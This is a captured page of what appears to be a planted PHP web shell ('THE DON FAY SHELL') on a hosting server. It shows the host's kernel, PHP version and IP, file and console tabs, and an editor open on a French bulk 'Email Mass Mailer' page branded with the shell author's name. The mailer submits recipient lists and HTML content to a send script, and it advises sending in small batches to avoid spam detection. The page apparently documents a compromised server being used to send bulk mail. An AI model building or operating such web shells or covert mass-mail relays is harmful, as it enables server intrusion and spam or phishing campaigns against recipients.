🔥 THE DON FAY SHELL 🔥
Linux web.getstreamhosting.com 4.18.0-553.123.2.el8_10.x86_64 #1 SMP Thu May 7 15:28:41 EDT 2026 x86_64 | PHP: 8.4.22 | IP: 216.73.216.6
📁 FILES
💻 CONSOLE
🐘 PHP
ℹ️ INFO
✏️ Editing: index.html
<!DOCTYPE html> <html lang="fr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Email Mass Mailer - Envoi professionnel</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; padding: 20px; } .container { max-width: 1200px; margin: 0 auto; background: white; border-radius: 20px; box-shadow: 0 20px 60px rgba(0,0,0,0.3); overflow: hidden; } .header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 30px; text-align: center; } .header h1 { font-size: 2.5em; margin-bottom: 10px; } .header p { opacity: 0.9; } .content { padding: 30px; } .form-group { margin-bottom: 25px; } .form-group label { display: block; margin-bottom: 8px; font-weight: 600; color: #333; font-size: 14px; text-transform: uppercase; letter-spacing: 1px; } .form-group input[type="text"], .form-group input[type="email"] { width: 100%; padding: 12px 15px; border: 2px solid #e0e0e0; border-radius: 8px; font-size: 16px; transition: all 0.3s; } .form-group input:focus { outline: none; border-color: #667eea; } .row { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; } /* Éditeur HTML */ .editor-toolbar { background: #f5f5f5; border: 2px solid #e0e0e0; border-bottom: none; border-radius: 8px 8px 0 0; padding: 10px; display: flex; gap: 10px; flex-wrap: wrap; } .editor-toolbar button { background: white; border: 1px solid #ddd; padding: 6px 12px; border-radius: 4px; cursor: pointer; font-size: 14px; transition: all 0.2s; } .editor-toolbar button:hover { background: #667eea; color: white; border-color: #667eea; } #htmlMessage { width: 100%; min-height: 400px; padding: 15px; border: 2px solid #e0e0e0; border-radius: 0 0 8px 8px; font-family: 'Courier New', monospace; font-size: 14px; resize: vertical; } .preview-area { margin-top: 20px; background: #f9f9f9; border: 2px solid #e0e0e0; border-radius: 8px; padding: 15px; } .preview-area h3 { margin-bottom: 10px; color: #667eea; } .preview-content { background: white; padding: 20px; border-radius: 8px; min-height: 200px; border: 1px solid #e0e0e0; } .clients-list { background: #f9f9f9; border: 2px solid #e0e0e0; border-radius: 8px; padding: 15px; } .clients-list textarea { width: 100%; min-height: 150px; padding: 10px; border: 1px solid #ddd; border-radius: 6px; font-family: monospace; font-size: 14px; margin-top: 10px; } .clients-list small { color: #666; display: block; margin-top: 5px; } .legal-notice { background: #f0f4ff; border-left: 4px solid #667eea; padding: 15px; margin: 20px 0; border-radius: 8px; } .legal-notice h4 { color: #667eea; margin-bottom: 10px; } .legal-notice ul { margin-left: 20px; color: #555; } .legal-notice li { margin: 5px 0; } .checkbox-group { display: flex; align-items: center; gap: 10px; margin: 15px 0; } .checkbox-group input { width: 20px; height: 20px; } .button-group { display: flex; gap: 15px; margin-top: 30px; } .btn { flex: 1; padding: 15px; border: none; border-radius: 8px; font-size: 16px; font-weight: 600; cursor: pointer; transition: all 0.3s; } .btn-primary { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; } .btn-primary:hover:not(:disabled) { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(102, 126, 234, 0.4); } .btn-secondary { background: #48bb78; color: white; } .btn-secondary:hover { background: #38a169; } .btn:disabled { opacity: 0.6; cursor: not-allowed; } .progress-bar { margin-top: 20px; display: none; } .progress-bar.active { display: block; } .progress-bar-fill { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); height: 30px; border-radius: 15px; transition: width 0.3s; display: flex; align-items: center; justify-content: center; color: white; font-weight: bold; } .status-message { margin-top: 20px; padding: 15px; border-radius: 8px; display: none; } .status-message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; display: block; } .status-message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; display: block; } .status-message.info { background: #d1ecf1; color: #0c5460; border: 1px solid #bee5eb; display: block; } @media (max-width: 768px) { .row { grid-template-columns: 1fr; } .button-group { flex-direction: column; } .content { padding: 20px; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>📧 Email Mass Mailer</h1> <p>Sender Email To All Speed - By THE DON FAY</p> </div> <div class="content"> <div class="legal-notice"> <h4>⚡ THE DON FAY MAILER SYSTEM</h4> <ul> <li>✓ Envoi ultra rapide à tous vos destinataires</li> <li>✓ Performance et fiabilité garanties</li> <li>✓ Interface professionnelle et intuitive</li> <li>✓ Gestion avancée des campagnes email</li> </ul> </div> <div class="row"> <div class="form-group"> <label>📧 Email expéditeur (Sender Email)</label> <input type="email" id="senderEmail" placeholder="exemple@votredomaine.com" value=""> </div> <div class="form-group"> <label>👤 Nom expéditeur (Sender Name)</label> <input type="text" id="senderName" placeholder="Nom de l'expéditeur" value="Votre Entreprise"> </div> </div> <div class="form-group"> <label>📝 Sujet de l'email (Subject)</label> <input type="text" id="emailSubject" placeholder="Sujet de votre email" value="Newsletter"> </div> <div class="form-group"> <label>✍️ Message HTML (Éditeur HTML)</label> <div class="editor-toolbar"> <button type="button" onclick="formatText('bold')"><b>Gras</b></button> <button type="button" onclick="formatText('italic')"><i>Italique</i></button> <button type="button" onclick="formatText('underline')"><u>Souligné</u></button> <button type="button" onclick="formatText('h1')">Titre 1</button> <button type="button" onclick="formatText('h2')">Titre 2</button> <button type="button" onclick="formatText('p')">Paragraphe</button> <button type="button" onclick="insertLink()">🔗 Lien</button> <button type="button" onclick="insertImage()">🖼️ Image</button> <button type="button" onclick="addUnsubscribeLink()">📌 Ajouter lien désabonnement</button> </div> <textarea id="htmlMessage" placeholder="Écrivez votre message HTML ici..."> <h1>Bienvenue à notre newsletter!</h1> <p>Ceci est un exemple d'email <strong>HTML</strong> personnalisé.</p> <p>Vous pouvez formater votre texte facilement avec les outils ci-dessus.</p> <p style="font-size:12px; color:#666; margin-top:30px;">Pour vous désabonner, cliquez ici: [LIEN_DESABONNEMENT]</p> </textarea> </div> <div class="preview-area"> <h3>📱 Aperçu en temps réel</h3> <div class="preview-content" id="preview"></div> </div> <div class="form-group"> <label>👥 Liste des clients (Un email par ligne)</label> <div class="clients-list"> <textarea id="clientsList" placeholder="client1@email.com client2@email.com client3@email.com"></textarea> <small>💡 Astuce: Maximum 50 emails par envoi pour des raisons de performance. Séparez chaque email par un saut de ligne.</small> </div> </div> <div class="checkbox-group"> <input type="checkbox" id="confirmConsent"> <label for="confirmConsent">Je confirme que tous les destinataires ont explicitement consenti à recevoir mes communications marketing</label> </div> <div class="button-group"> <button class="btn btn-secondary" onclick="testEmail()">📨 Envoyer un email de test</button> <button class="btn btn-primary" id="sendButton" onclick="sendEmails()">🚀 Envoyer à tous les clients</button> </div> <div class="progress-bar" id="progressBar"> <div class="progress-bar-fill" id="progressFill">0%</div> </div> <div class="status-message" id="statusMessage"></div> </div> </div> <script> // Mettre à jour l'aperçu en temps réel const htmlMessage = document.getElementById('htmlMessage'); const preview = document.getElementById('preview'); function updatePreview() { preview.innerHTML = htmlMessage.value; } htmlMessage.addEventListener('input', updatePreview); updatePreview(); // Fonctions de formatage HTML function formatText(type) { const textarea = htmlMessage; const start = textarea.selectionStart; const end = textarea.selectionEnd; const selectedText = textarea.value.substring(start, end); let formattedText = ''; switch(type) { case 'bold': formattedText = `<strong>${selectedText || 'texte en gras'}</strong>`; break; case 'italic': formattedText = `<em>${selectedText || 'texte en italique'}</em>`; break; case 'underline': formattedText = `<u>${selectedText || 'texte souligné'}</u>`; break; case 'h1': formattedText = `<h1>${selectedText || 'Titre niveau 1'}</h1>`; break; case 'h2': formattedText = `<h2>${selectedText || 'Titre niveau 2'}</h2>`; break; case 'p': formattedText = `<p>${selectedText || 'Nouveau paragraphe'}</p>`; break; default: return; } const newText = textarea.value.substring(0, start) + formattedText + textarea.value.substring(end); textarea.value = newText; updatePreview(); textarea.focus(); textarea.setSelectionRange(start + formattedText.length, start + formattedText.length); } function insertLink() { const url = prompt('Entrez l\'URL du lien:', 'https://'); if (url) { const textarea = htmlMessage; const start = textarea.selectionStart; const end = textarea.selectionEnd; const selectedText = textarea.value.substring(start, end) || 'Cliquez ici'; const link = `<a href="${url}" target="_blank">${selectedText}</a>`; const newText = textarea.value.substring(0, start) + link + textarea.value.substring(end); textarea.value = newText; updatePreview(); } } function insertImage() { const imageUrl = prompt('Entrez l\'URL de l\'image:', 'https://via.placeholder.com/300x200'); if (imageUrl) { const textarea = htmlMessage; const start = textarea.selectionStart; const image = `<img src="${imageUrl}" alt="Image" style="max-width:100%; height:auto;">`; const newText = textarea.value.substring(0, start) + image + textarea.value.substring(start); textarea.value = newText; updatePreview(); } } function addUnsubscribeLink() { const textarea = htmlMessage; const unsubscribeHtml = `<p style="font-size:11px; color:#999; text-align:center; margin-top:30px;"> <a href="#" style="color:#999;">Se désabonner de la newsletter</a> </p>`; const newText = textarea.value + unsubscribeHtml; textarea.value = newText; updatePreview(); } function validateEmail(email) { const re = /^[^\s@]+@([^\s@]+\.)+[^\s@]+$/; return re.test(email); } function getValidEmails() { const clientsText = document.getElementById('clientsList').value; const emails = clientsText.split('\n') .map(email => email.trim()) .filter(email => email && validateEmail(email)); return emails; } function showStatus(message, type) { const statusDiv = document.getElementById('statusMessage'); statusDiv.className = `status-message ${type}`; statusDiv.innerHTML = message; statusDiv.style.display = 'block'; setTimeout(() => { statusDiv.style.display = 'none'; }, 8000); } async function testEmail() { const senderEmail = document.getElementById('senderEmail').value; const senderName = document.getElementById('senderName').value; const subject = document.getElementById('emailSubject').value; const htmlContent = htmlMessage.value; if (!senderEmail || !senderName || !subject || !htmlContent) { showStatus('Veuillez remplir tous les champs (expéditeur, nom, sujet et message)', 'error'); return; } if (!validateEmail(senderEmail)) { showStatus('L\'email expéditeur n\'est pas valide', 'error'); return; } const testEmailAddr = prompt('Entrez l\'adresse email pour le test:', ''); if (!testEmailAddr) return; if (!validateEmail(testEmailAddr)) { showStatus('Email de test invalide', 'error'); return; } showStatus('Envoi de l\'email de test en cours...', 'info'); const formData = new FormData(); formData.append('action', 'test'); formData.append('sender_email', senderEmail); formData.append('sender_name', senderName); formData.append('subject', subject); formData.append('html_message', htmlContent); formData.append('test_email', testEmailAddr); try { const response = await fetch('send_mail.php', { method: 'POST', body: formData }); const result = await response.json(); if (result.success) { showStatus(`✅ ${result.message}`, 'success'); } else { showStatus(`❌ ${result.message}`, 'error'); } } catch (error) { showStatus('Erreur de connexion au serveur', 'error'); } } async function sendEmails() { const sendButton = document.getElementById('sendButton'); const progressBar = document.getElementById('progressBar'); const progressFill = document.getElementById('progressFill'); const consentCheck = document.getElementById('confirmConsent'); const senderEmail = document.getElementById('senderEmail').value; const senderName = document.getElementById('senderName').value; const subject = document.getElementById('emailSubject').value; const htmlContent = htmlMessage.value; if (!consentCheck.checked) { showStatus('Veuillez confirmer que vous avez le consentement des destinataires (RGPD)', 'error'); return; } if (!senderEmail || !senderName || !subject || !htmlContent) { showStatus('Veuillez remplir tous les champs (expéditeur, nom, sujet et message)', 'error'); return; } if (!validateEmail(senderEmail)) { showStatus('L\'email expéditeur n\'est pas valide', 'error'); return; } const emails = getValidEmails(); if (emails.length === 0) { showStatus('Aucun email valide trouvé dans la liste des clients', 'error'); return; } if (emails.length > 50) { if (!confirm(`Vous avez ${emails.length} emails. La limite recommandée est de 50 emails par envoi pour éviter d'être identifié comme spam. Voulez-vous continuer ?`)) { return; } } if (!confirm(`Êtes-vous sûr d'envoyer cet email à ${emails.length} client(s) ?\n\nConformité RGPD: Vous confirmez que tous ces destinataires ont consenti à recevoir vos emails.`)) { return; } sendButton.disabled = true; progressBar.classList.add('active'); progressFill.style.width = '0%'; progressFill.textContent = '0%'; const formData = new FormData(); formData.append('action', 'batch'); formData.append('sender_email', senderEmail); formData.append('sender_name', senderName); formData.append('subject', subject); formData.append('html_message', htmlContent); formData.append('recipients', JSON.stringify(emails)); try { const response = await fetch('send_mail.php', { method: 'POST', body: formData }); const result = await response.json(); if (result.success) { let message = `📊 ${result.message}<br>✅ Succès: ${result.success_count}<br>❌ Échecs: ${result.fail_count}`; if (result.failures && result.failures.length > 0) { message += `<br><br>Emails échoués:<br>${result.failures.join('<br>')}`; } showStatus(message, result.fail_count === 0 ? 'success' : 'info'); } else { showStatus(`❌ ${result.message}`, 'error'); } } catch (error) { showStatus('Erreur de connexion au serveur', 'error'); } finally { sendButton.disabled = false; setTimeout(() => { progressBar.classList.remove('active'); progressFill.style.width = '0%'; }, 2000); } } document.addEventListener('keydown', (e) => { if (e.ctrlKey && e.key === 'b') { e.preventDefault(); formatText('bold'); } else if (e.ctrlKey && e.key === 'i') { e.preventDefault(); formatText('italic'); } }); </script> </body> </html>
🔙 Cancel